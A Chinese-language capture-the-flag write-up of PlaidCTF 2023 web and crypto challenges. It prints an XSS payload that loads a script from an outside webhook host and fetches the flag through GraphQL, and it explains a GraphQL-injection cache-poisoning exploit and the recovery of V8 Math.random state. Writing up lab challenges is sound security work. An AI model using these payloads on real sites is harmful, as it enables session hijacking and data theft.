PlaidCTF 2023 WriteUps
這周在 Balsn.217@TSJ.tw
中聯隊參加了這場,為之後 DEFCON
CTF 合作做練習,我只解了點 crypto 和 web 的題目。
Web
Davy Jones' Putlocker: Dubs
這題有個 react 前端加上 graphql 後端,其中 graphql 有個
mutation { flag }
可以讓你拿 flag,然後還有個 admin
bot,所以要想辦法 XSS。
diff 兩個版本 (Dubs part1
和 Subs part2
)
可以發現關鍵在於 schema 的 playlist resolver 沒有用 micromark
過濾,所以可以直接 XSS 搞定。
playlist xss:
1 | <iframe srcdoc="<script src=https://webhook.site/d8cecb91-c417-4202-a739-6f56756a1e40></script>"></iframe> |
webhook response:
1 | fetch("/graphql", { |
然後 report 給 admin bot,就可以拿到 flag 了:
1 | fetch("/graphql", { |
Davy Jones' Putlocker: Subs
顯然上一題是 unintended,因為一個 350 分的題目不可能這麼簡單 XD。作者也說了上面那題可以那樣解真的是大失誤,正確來說這題解法的其中一半是上一題的 intended solution,不過因為沒有人用 intended solution 解前一題所以這題會更難解點。
diff 之後可以發現它把那個 playlist resolver XSS 堵住了,所以只能找其他方法 XSS。
主要問題點在於 client 的 Playlist.tsx
有這個:
1 | export const Playlist = () => { |
可以發現那個 ...qs
讓我們能覆蓋掉
id={uuidify(id}
,而 useQs
進去看之後知道是用
qs 這個 module parse
的,所以可以塞 nested object 等等。
然後 PlaylistView
有這個:
1 | const PlaylistView = (props: PlaylistViewProps) => { |
可以發現 props.id
是可以控制的,所以看起來像是有 graphql
injection,但實際上沒那麼簡單,因為它有個 gql
的 tagged
template literal,所以需要看 gql
這個 function
是怎麼實作的才知道:
1 | import { DocumentNode,parse, print } from "graphql/language"; |
所以這邊最可能的一條路是讓 isNode(arg)
通過,然後想辦法
inject payload 進去。而 isNode
和 print
都是
graphql 內部的 function,所以代表 props.id
需要是一個
graphql AST node。稍微讀一下內部實作之後可知
{ kind: 'Name', value: 'INJECTION_PAYLOAD' }
是最簡單的作法,所以
?id[kind]=Name&id[value]=INJECTION_PAYLOAD
就可以了。
之後是要看怎麼利用 graphql injection 搞事,首先是它用的 client 是 Apollo
Client,查了一下官方文件可以知道它預設會 cache query
的結果,經測試可以發現如果某個 query 在 cache 裡面存在,且請求的 field
全部都有的話就會直接從 cache 拿,不會發
request。所以我的想法是想辦法汙染 cache,然後讓後面
EpisodePanel
裡面發的請求拿到 cache 中的東西,然後就能
XSS。
經過一些測試發現 cache key 基本上是 __typename:id
的形式構成的,所以在想能不能蓋 __typename
,所以就試了
__typename: name
,但是結果會得到 HTTP 400。這是因為 apollo
client 為了拿 cache key 都會自動幫你加上 __typename
,所以
server 端就會認為這是個有衝突的 query。
後來我繼續查了一查發現有支援一些特殊的 directive 如
@client
@export
@connection
等等,其中 @client
是個告訴 apollo client 這個 field
不要送到 server 去,只在 local resolver 找就好了,所以
foo @client
之類的都會導致 field 在送 request
被移除掉。所以經過一些測試之後發現 __typename @client
是能有效移除 apollo client 硬是要幫你加的 __typename
field,而你如果同時再多加一個 __typename: name
就能成功的利用 server 傳回的 name
作為
__typename
的值,然後說不定有機會能搞事。
不過就算找到了這個之後我還是沒找到一個 exploit 的思路,所以就在想能不能找 prototype pollution,因為預期中 graphql query 應該是不可控的,所以這部分的保護可能不是很充足,所以有個 prototype pollution 的 0day 也不是不可能的機會。
其實
__typename: name
這個原本是前一題(Dubs
)的預期解,透過 cache 的 type confusion 來稿事
所以找了裡面的 deepMerge 發現說這個沒辦法 PP,之後又找了 graphql literal 和 js 物件轉換部分的 code 來看,也都沒找到 PP。
最後發現到的是 processSelectionSet
這邊讓我用 __proto__: foo @client
使得
cache.data.data.ROOT_QUERY.foo === Object.prototype
。這個不是
PP,不過變成是可以從 Object.prototype
上讀東西寫到 cache
上,看起來似乎沒什麼用...。
後來倒退一步我發現 __proto__
代表的是從某個 result
object 上讀 __proto__
,然後再存到指定的
ROOT_QUERY.foo
的 cache 中。那我如果把
__proto__
換成其他的 key 呢? 結果是如果那個 key
有值的話也會被讀出來,然後寫到 ROOT_QUERY.foo
中。而如果出現重複的 key 的話只要有一個是 @client
就不會
error,所以:
1 | pl2: playlist(id: "b4429f09-0f36-4e67-aa94-492a4d00b885") { |
會把從
playlist(id: "b4429f09-0f36-4e67-aa94-492a4d00b885") { peko: id }
讀到的資料寫到 ROOT_QUERY.foo
中,也就是
ROOT_QUERY.foo = { peko: '...' }
。發現這件事之後我就知道我已經能解開這題了,只要用其他的物件透過
alias 去汙染某個 episode 就行了。為了要方便控制資料,我是用 playlist
作為基礎物件,然後用 username 塞 xss payload,所以整個 injection
大概會長這樣:
1 | "b4429f09-0f36-4e67-aa94-492a4d00b885") { |
b4429f09-0f36-4e67-aa94-492a4d00b885
的 playlist
需要有個 episode id 為
5aac1f62-6a23-4054-bd73-60d48396a13d
,而
7f373fc9-6ba4-46e8-a14d-0464199a18b8
需要是一個
playlist,而創建該 playlist 的 username 需要是 xss
payload。全部整合在一起寫個 exploit script 就解掉這題了:
1 | import requests |
這題能拿到首殺還是多虧了 Ginoah 的一些幫助,不然有些細節我可能沒注意到
Crypto
bivalves: scallop
真的不太清楚這題的意義是啥,是隊友先用 z3 寫了個腳本,但是因為有 bug 所以沒辦法拿到 flag,所以 debug 掉之後再做點非常小的優化就解了:
1 | from z3 import * |
fastrology: waxing crescent
1 | const { randomInt, createHash } = require('node:crypto'); |
這題是要破解 V8 的 Math.random()
,內部是用 xorshift128
做的,操作都是線性的。V8 那邊是拿 xorshift 的
(state0 >> 12) | 0x3FF0000000000000
之後轉成浮點數,也就是拿 state0
的高 52 bits 當作
mantissa。
而這邊 alphabet.length === 4
,所以根據
Math.floor(Math.random() * alphabet.length)
是
0, 1, 2, 3
我們可以知道 state0
的 top 2 bits
是什麼,由此可以得到一個線性系統解開。
不過 V8 還有個比較麻煩的點是它有個 kCacheSize = 64
大小的 cache pool,一開始 pool 為空,取 random 時會從 pool
中拿,如果為空的話就會填滿 pool 然後再拿。然而它的 pool 是後進先出
(LIFO) 的,所以它的輸出其實是以 64 一組順序顛倒的。
因為我們不知道 warmup_len
是多少,所以就直接爆,反正爆錯了的話線性系統是找不到解答的 (rows
>> cols)。
1 | from sage.all import * |
*fastrology: new moon
1 | const { randomInt, createHash } = require('node:crypto'); |
這題主要的不同點在於 alphabet.length === 13
,不像
4
一樣那麼好直接反推 bits。我這邊是寫了個腳本去按照 top 3
bits 作為 bucket 去分割,然後就能發現有些 floor 過的輸出是能回推出唯一的
top 3 bits,所以一樣能得到線性系統解掉。
1 | import struct, math, random |
然而我 code 寫爛了,導致我都沒解出來,所以最後是 toxicpie 拿到 flag 的。不過我後來還是有把自己在 sage 的 test script 修好:
1 | import struct, math, random |
不過 toxicpie 的解有個不同的技巧,就是先算出一個 array:
1 | for i in range(13): |
然後假設輸出的 floor 數值是 n
,那麼就比較
hint13[n] ^ hint13[n + 1]
的 top bits 有哪些相同的地方,bit
一樣的話我們就能確認一些 bits 了。這個方法能取得的 equations
數量比我的方法多,所以值得提。code 大概是這個概念:
1 | for num in nums: |
*fastrology: waxing gibbous
1 | const { randomInt, createHash } = require('node:crypto'); |
這題最主要的不同是當 index === 12
時輸出會被換掉,所以代表用原本方法得到的 equations 中有些 bits
是錯的,所以這就讓我想了 error decoding 的問題:
如果
實作之後確定在 warmup_len
已知的情況下確實能用 ISD 解
(equations 數量用 toxicpie 的方法大概可以拿到 500 條,而 error 很少超過
20 個),平均大概 4~10 秒能解掉。然而要爆 warmup_len
的話上限要抓 64*10
秒,而這題 timeout 只有 15
秒,除非有個夠大的 cluster 可以讓我一次平行解 64 個可能的 ISD
不然我的作法解不了。
不過我還是有寫個平行的 solver,只要 timeout 夠的話是能解的,所以還是丟上來紀錄一下:
solve_gibbous.py
:
1 | from sage.all import * |
solve_gibbous_worker.py
:
1 | from sage.all import * |
不過這題的真正解答是注意到它把所有 index 12 的都換成其他的字元,而
index 12 對應到的是 top 3 bits = 111
,假設說會換成 index
7,而它對應到的一般情況下的 top 3 bits = 100
。
(這可以參考我解 new moon 的那個 table)
可以發現當我們遇到 index 7 的字元時有兩個可能,就是它可能本來就是
index 7,不然就是從 index 12 替換過來的。然而兩個的共同點是它們的 top 1
bits = 1
,所以就能拿到一條 equation。
因此只要拿同樣的那個 tbl
但是只取 bit 為 1
的 equations (因為 ??? & 111
) 就能確保不會有
error,所以就能一樣解線性系統搞定這題。
隊友用的 table:
1 | hint = {0: ("000", 3), 1:("00", 2), 2:("001", 3), 3:("0", 1), 4:("01", 2), 5:("011", 3), 7: ("100", 1), 8: ("10", 1), 9:("1", 1), 10: ("110", 2), 11: ("11", 2), 12: ("111", 3)} |
或是可以參考另一篇 writeup: PlaidCTF 2023 Writeups - waxing gibbous,用的 table 基本上是一樣的
*fastrology: full moon
1 | const { randomInt, createHash } = require('node:crypto'); |
這題我根本沒解,因為時間都花在 web 的 Subs 上面了 XD。不過還是可以記一下解法,就是它前 125 個輸出都不會被干擾,然後就再用 toxicpie xor 那招就能拿到足夠的 equations 解開了。
留個我自己賽後補血的 sage script:
1 | import struct, math, random |
另一篇
writeup 有提說就算是在 125 之後被干擾的地方也有辦法拿到一些 bits
的資訊。關鍵在於 rand_max
最高為
3
,所以只會影響到 index 的 low 2 bits,所以只要
0-3
4-7
分組就能多拿到一些 bits。